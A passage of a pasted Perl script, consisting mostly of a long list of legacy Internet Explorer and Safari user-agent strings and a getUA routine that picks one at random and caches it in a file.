  1404.     "Mozilla/5.0 (Windows; U; Windows NT 6.1; cs-CZ) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27",
  1405.     "Mozilla/5.0 (Windows; U; Windows NT 6.0; ja-JP) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27",
  1406.     "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.4 Safari/533.20.27",
  1407.     "Mozilla/5.0 (Windows; U; Windows NT 6.1; sv-SE) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4",
  1408.     "Mozilla/5.0 (Windows; U; Windows NT 6.1; ja-JP) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4",
  1409.     "Mozilla/5.0 (Windows; U; Windows NT 6.1; de-DE) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4",
  1410.     "Mozilla/5.0 (Windows; U; Windows NT 6.0; hu-HU) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4",
  1411.     "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4",
  1412.     "Mozilla/5.0 (Windows; U; Windows NT 6.0; de-DE) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4",
  1413.     "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4",
  1414.     "Mozilla/5.0 (Windows; U; Windows NT 5.1; ja-JP) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4",
  1415.     "Mozilla/5.0 (Windows; U; Windows NT 5.1; it-IT) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/5.0.3 Safari/533.19.4",
  1416.     "Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-HK) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5",
  1417.     "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5",
  1418.     "Mozilla/5.0 (Windows; U; Windows NT 6.0; tr-TR) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5",
  1419.     "Mozilla/5.0 (Windows; U; Windows NT 6.0; nb-NO) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5",
  1420.     "Mozilla/5.0 (Windows; U; Windows NT 6.0; fr-FR) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5",
  1421.     "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-TW) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5",
  1422.     "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5",
  1423.     "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/533.17.8 (KHTML, like Gecko) Version/5.0.1 Safari/533.17.8",  
  1424.     "Mozilla/5.0 (Windows; U; Windows NT 6.1; ja-JP) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16",
  1425.     "Mozilla/5.0 (Windows; U; Windows NT 6.1; es-ES) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0 Safari/533.16",
  1426.     "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0 Safari/533.16",
  1427.     "Mozilla/5.0 (Windows; U; Windows NT 5.1; en) AppleWebKit/526.9 (KHTML, like Gecko) Version/4.0dp1 Safari/526.8",  
  1428.     "Mozilla/5.0 (Windows; U; Windows NT 6.1; es-ES) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7",
  1429.     "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7",
  1430.     "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7",
  1431.     "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-gb) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7",
  1432.     "Mozilla/5.0 (Windows; U; Windows NT 5.1; cs-CZ) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7",
  1433.     "Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-TW) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10",
  1434.     "Mozilla/5.0 (Windows; U; Windows NT 6.1; ko-KR) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10",
  1435.     "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10",
  1436.     "Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10",
  1437.     "Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE) AppleWebKit/532+ (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10",
  1438.  
  1439.     "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)",
  1440.     "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)",
  1441.     "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/5.0)",
  1442.     "Mozilla/4.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/5.0)",
  1443.     "Mozilla/1.22 (compatible; MSIE 10.0; Windows 3.1)",
  1444.     "Mozilla/5.0 (Windows; U; MSIE 9.0; WIndows NT 9.0; en-US)",
  1445.     "Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)",
  1446.     "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 7.1; Trident/5.0)",
  1447.     "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; Media Center PC 6.0; InfoPath.3; MS-RTC LM 8; Zune 4.7)",
  1448.     "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; Media Center PC 6.0; InfoPath.3; MS-RTC LM 8; Zune 4.7)",
  1449.     "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Zune 4.0; InfoPath.3; MS-RTC LM 8; .NET4.0C; .NET4.0E)",
  1450.     "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; chromeframe/12.0.742.112)",
  1451.     "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 2.0.50727; Media Center PC 6.0)",
  1452.     "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 2.0.50727; Media Center PC 6.0)",
  1453.     "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Zune 4.0; Tablet PC 2.0; InfoPath.3; .NET4.0C; .NET4.0E)",
  1454.     "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0",
  1455.     "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; yie8)",
  1456.     "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2; .NET CLR 1.1.4322; .NET4.0C; Tablet PC 2.0)",
  1457.     "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; FunWebProducts)",
  1458.     "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; chromeframe/13.0.782.215)",
  1459.     "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; chromeframe/11.0.696.57)",
  1460.     "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) chromeframe/10.0.648.205)",
  1461.     "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; chromeframe/11.0.696.57)",
  1462.     "Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/4.0; FDM; MSIECrawler; Media Center PC 5.0)",
  1463.     "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 1.0.3705; .NET CLR 1.1.4322)",
  1464.     "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0; Media Center PC 4.0; SLCC1; .NET CLR 3.0.04320)",
  1465.     "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SLCC1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322)",
  1466.     "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.2; SLCC1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 2.0.50727)",
  1467.     "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)",
  1468.     "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.0; Trident/4.0; InfoPath.1; SV1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 3.0.04506.30)",
  1469.     "Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 5.0; Trident/4.0; FBSMTWB; .NET CLR 2.0.34861; .NET CLR 3.0.3746.3218; .NET CLR 3.5.33652; msn OptimizedIE8;ENUS)",
  1470.     "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.2; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)",
  1471.     "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; Media Center PC 6.0; InfoPath.2; MS-RTC LM 8)",
  1472.     "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; Media Center PC 6.0; InfoPath.2; MS-RTC LM 8)",
  1473.     "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; Media Center PC 6.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)",
  1474.     "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.3; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729; MS-RTC LM 8)",
  1475.     "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)",
  1476.     "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Zune 3.0)",
  1477.     "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; msn OptimizedIE8;ZHCN)",
  1478.     "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MS-RTC LM 8; InfoPath.3; .NET4.0C; .NET4.0E) chromeframe/8.0.552.224)",
  1479.     "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MS-RTC LM 8; .NET4.0C; .NET4.0E; Zune 4.7; InfoPath.3)",
  1480.     "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MS-RTC LM 8; .NET4.0C; .NET4.0E; Zune 4.7)",
  1481.     "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MS-RTC LM 8)",
  1482.     "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; Zune 4.0)",
  1483.     "Mozilla/4.0(compatible; MSIE 7.0b; Windows NT 6.0)",
  1484.     "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)",
  1485.     "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 3.0.04506.30)",
  1486.     "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; Media Center PC 3.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1)",
  1487.     "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; FDM; .NET CLR 1.1.4322)",
  1488.     "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727)",
  1489.     "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; InfoPath.1)",
  1490.     "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; Alexa Toolbar; .NET CLR 2.0.50727)",
  1491.     "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; Alexa Toolbar)",
  1492.     "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)",
  1493.     "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.40607)",
  1494.     "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.1.4322)",
  1495.     "Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1; .NET CLR 1.0.3705; Media Center PC 3.1; Alexa Toolbar; .NET CLR 1.1.4322; .NET CLR 2.0.50727)",
  1496.     "Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)",
  1497.     "Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; el-GR)",
  1498.     "Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 5.2)",
  1499.     "Mozilla/5.0 (MSIE 7.0; Macintosh; U; SunOS; X11; gu; SV1; InfoPath.2; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648)",
  1500.     "Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 6.0; WOW64; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; c .NET CLR 3.0.04506; .NET CLR 3.5.30707; InfoPath.1; el-GR)",
  1501.     "Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; c .NET CLR 3.0.04506; .NET CLR 3.5.30707; InfoPath.1; el-GR)",
  1502.     "Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 6.0; fr-FR)",
  1503.     "Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 6.0; en-US)",
  1504.     "Mozilla/5.0 (compatible; MSIE 7.0; Windows NT 5.2; WOW64; .NET CLR 2.0.50727)",
  1505.     "Mozilla/5.0 (compatible; MSIE 7.0; Windows 98; SpamBlockerUtility 6.3.91; SpamBlockerUtility 6.2.91; .NET CLR 4.1.89;GB)",
  1506.     "Mozilla/4.79 [en] (compatible; MSIE 7.0; Windows NT 5.0; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648)",
  1507.     "Mozilla/4.0 (Windows; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)",
  1508.     "Mozilla/4.0 (Mozilla/4.0; MSIE 7.0; Windows NT 5.1; FDM; SV1; .NET CLR 3.0.04506.30)",
  1509.     "Mozilla/4.0 (Mozilla/4.0; MSIE 7.0; Windows NT 5.1; FDM; SV1)",
  1510.     "Mozilla/4.0 (compatible;MSIE 7.0;Windows NT 6.0)",
  1511.     "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; SLCC2; .NET CLR 2.0.50727; InfoPath.3; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729; MS-RTC LM 8)",
  1512.     "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MS-RTC LM 8; .NET4.0C; .NET4.0E; InfoPath.3)",
  1513.     "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; chromeframe/12.0.742.100)",
  1514.     "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)",
  1515.     "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)",
  1516.     "Mozilla/4.0 (compatible; MSIE 6.1; Windows XP; .NET CLR 1.1.4322; .NET CLR 2.0.50727)",
  1517.     "Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)",
  1518.     "Mozilla/4.0 (compatible; MSIE 6.01; Windows NT 6.0)",
  1519.     "Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1; DigExt)",
  1520.     "Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)",
  1521.     "Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.0; YComp 5.0.2.6)",
  1522.     "Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.0; YComp 5.0.0.0) (Compatible; ; ; Trident/4.0)",
  1523.     "Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.0; YComp 5.0.0.0)",
  1524.     "Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.0; .NET CLR 1.1.4322)",
  1525.     "Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.0)",
  1526.     "Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 4.0; .NET CLR 1.0.2914)",
  1527.     "Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 4.0)",
  1528.     "Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98; YComp 5.0.0.0)",
  1529.     "Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98; Win 9x 4.90)",
  1530.     "Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)",
  1531.     "Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)",
  1532.     "Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.0; .NET CLR 1.0.3705)",
  1533.     "Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 4.0)",
  1534.     "Mozilla/5.0 (Windows; U; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)",
  1535.     "Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)",
  1536.     "Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4325)",
  1537.     "Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1)",
  1538.     "Mozilla/45.0 (compatible; MSIE 6.0; Windows NT 5.1)",
  1539.     "Mozilla/4.08 (compatible; MSIE 6.0; Windows NT 5.1)",
  1540.     "Mozilla/4.01 (compatible; MSIE 6.0; Windows NT 5.1)",
  1541.     "Mozilla/4.0 (X11; MSIE 6.0; i686; .NET CLR 1.1.4322; .NET CLR 2.0.50727; FDM)",
  1542.     "Mozilla/4.0 (Windows; MSIE 6.0; Windows NT 6.0)",
  1543.     "Mozilla/4.0 (Windows; MSIE 6.0; Windows NT 5.2)",
  1544.     "Mozilla/4.0 (Windows; MSIE 6.0; Windows NT 5.0)",
  1545.     "Mozilla/4.0 (Windows; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)",
  1546.     "Mozilla/4.0 (MSIE 6.0; Windows NT 5.1)",
  1547.     "Mozilla/4.0 (MSIE 6.0; Windows NT 5.0)",
  1548.     "Mozilla/4.0 (compatible;MSIE 6.0;Windows 98;Q312461)",
  1549.     "Mozilla/4.0 (Compatible; Windows NT 5.1; MSIE 6.0) (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)",
  1550.     "Mozilla/4.0 (compatible; U; MSIE 6.0; Windows NT 5.1) (Compatible; ; ; Trident/4.0; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 1.0.3705; .NET CLR 1.1.4322)",
  1551.     "Mozilla/4.0 (compatible; U; MSIE 6.0; Windows NT 5.1)",
  1552.     "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; InfoPath.3; Tablet PC 2.0)",
  1553.     "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB6.5; QQDownload 534; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; SLCC2; .NET CLR 2.0.50727; Media Center PC 6.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729)",
  1554.     "Mozilla/4.0 (compatible; MSIE 5.50; Windows NT; SiteKiosk 4.9; SiteCoach 1.0)",
  1555.     "Mozilla/4.0 (compatible; MSIE 5.50; Windows NT; SiteKiosk 4.8; SiteCoach 1.0)",
  1556.     "Mozilla/4.0 (compatible; MSIE 5.50; Windows NT; SiteKiosk 4.8)",
  1557.     "Mozilla/4.0 (compatible; MSIE 5.50; Windows 98; SiteKiosk 4.8)",
  1558.     "Mozilla/4.0 (compatible;MSIE 5.5; Windows 98)",
  1559.     "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.1)",
  1560.     "Mozilla/4.0 (compatible; MSIE 5.5;)",
  1561.     "Mozilla/4.0 (Compatible; MSIE 5.5; Windows NT5.0; Q312461; SV1; .NET CLR 1.1.4322; InfoPath.2)",
  1562.     "Mozilla/4.0 (compatible; MSIE 5.5; Windows NT5)",
  1563.     "Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)",
  1564.     "Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 6.1; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)",
  1565.     "Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 6.1; chromeframe/12.0.742.100; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C)",
  1566.     "Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30618)",
  1567.     "Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.5)",
  1568.     "Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.2; .NET CLR 1.1.4322; InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; FDM)",
  1569.     "Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.2; .NET CLR 1.1.4322) (Compatible; ; ; Trident/4.0; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 1.0.3705; .NET CLR 1.1.4322)",
  1570.     "Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.2; .NET CLR 1.1.4322)",
  1571.     "Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)",
  1572.     "Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)"
  1573.     );
  1574.    
  1575.     if (open(FILE, "<".$uafile)){
  1576.         $ua = <FILE>;
  1577.         close(FILE);           
  1578.     }
  1579.     else {
  1580.     # ">" - запись,"<"- чтение, ">>"- добавление в файл.
  1581.         if (open(FILE, ">".$uafile)){
  1582.             my $i = int (rand(scalar @uaList));
  1583.            
  1584.             print "getUA: len = ".(scalar @uaList)." i = $i\n";
  1585.             $ua = $uaList[$i];
  1586.            
  1587.             print "getUA: ua = $ua\n";
  1588.            
  1589.             printf FILE $ua;
  1590.             close FILE;
  1591.         }
  1592.         else {
  1593.             print "Error working with ".$uafile."\n";
  1594.             exit;
  1595.         }
  1596.     }
  1597. }
RAW Paste Data